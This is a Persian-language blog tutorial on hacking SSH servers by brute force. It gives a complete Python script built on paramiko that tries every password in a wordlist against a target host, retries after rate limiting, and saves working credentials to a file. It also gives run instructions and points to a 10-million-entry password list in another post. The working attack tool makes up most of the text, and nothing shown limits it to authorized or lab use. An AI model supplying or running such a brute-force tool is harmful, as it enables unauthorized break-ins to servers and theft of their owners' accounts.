-
سه شنبه, ۲۳ فروردين ۱۴۰۱، ۱۰:۱۳ ب.ظ
-
۸۹۸
سلام دوستان :)
توی پست امروز قراره درباره هک کردن یک سرور SSH با هم دیگه صحبت کنیم.
اما قبلش بهتره که یکم درباره SSH اطلاعات جمع آوری کنیم.
SSH یا Secure Shell که رو پورت 22 کار میکنه در واقع یک جایگزین برای telnet که یک شل ریموت نسبتا نا امنه هست که از یک الگوریتم رمزگذاری برای امن تر کردن ارتباط استفاده می کنه.
خب احتمالا همونطور که حدس زدین و به احتمال زیاد حدستون درست بوده ما قراره از روش brute-force برای هک کردن سرور SSH استفاده کنیم.
برای اتصال به سرور SSH داخل Standard Library پایتون، کتابخونه خاصی وجود نداره و ما قراره از یک کتابخونه به نام paramiko استفاده کنیم که به ما به سادگی اجازه برقراری ارتباط با سرور های SSH رو میده.
از کتابخونه colorama هم برای رنگی کردن متن هامون استفاده می کنیم.
پس بریم نصبشون کنیم.
برای نصب کتابخونه paramiko توی مک یا لینوکس وارد ترمینال بشین و دستور زیر رو وارد کنین:
sudo pip3 install paramiko
برای نصب کتابخونه paramiko توی ویندوز هم وارد cmd بشین و دستور زیر رو وارد کنین:
pip install paramiko
برای نصب کتابخونه colorama که قراره برای رنگی کردن متن استفادش کنیم هم به همین صورت عمل کنین.
کد:
import paramiko import socket import time from colorama import init, Fore # initialize colorama init() GREEN = Fore.GREEN RED = Fore.RED RESET = Fore.RESET BLUE = Fore.BLUE def is_ssh_open(hostname, username, password): # initialize SSH client client = paramiko.SSHClient() # add to know hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=hostname, username=username, password=password, timeout=3) except socket.timeout: # this is when host is unreachable print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") return False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") return False except paramiko.SSHException: print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") # sleep for a minute time.sleep(60) return is_ssh_open(hostname, username, password) else: # connection was established successfully print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") return True if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.") parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.") parser.add_argument("-P", "--passlist", help="File that contain password list in each line.") parser.add_argument("-u", "--user", help="Host username.") # parse passed arguments args = parser.parse_args() host = args.host passlist = args.passlist user = args.user # read the file passlist = open(passlist).read().splitlines() # brute-force for password in passlist: if is_ssh_open(host, user, password): # if combo is valid, save it to a file open("credentials.txt", "w").write(f"{user}@{host}:{password}") break
توضیح: اول از همه کتابخونه های مورد نیازمون رو import کردیم. بعدش تابع init رو برای آماده کردن کتابخونه colorama جهت استفاده فراخوانی کردیم.
بعدش چند تا از رنگ ها رو تعریف کردیم.
حالا می رسیم به بخش اصلی برنامه که تلاش می کنیم با یک پسورد و یوزر به سرورمون لاگین کنیم و برای اینکار هم از توابع کتابخونه paramiko استفاده کردیم.
توی بخش آخر برنامه هم با استفاده از argparser چند تا ورودی برای برناممون تعریف کردیم که از ما یک یوزرنیم، یک پسورد لیست و آدرس سرور رو می گیره.
الان وارد ترمینال یا cmd بشین و با استفاده از دستور cd وارد فولدری که فایل اسکریپت رو توش ذخیره کردین بشین و با استفاده از دستوراتی که توی برنامه تعریف کردیم از اسکریپت استفاده کنین. من یک پسورد لیست توی پست (ساخت cracker فایل های zip) که ۱۰ میلیون پسورد داخلش وجود داره رو براتون برای دانلود گذاشتم. میتونین اگر خواستین از اون هم به عنوان پسورد لیست استفاده کنین.
امیدوارم براتون مفید بوده باشه D: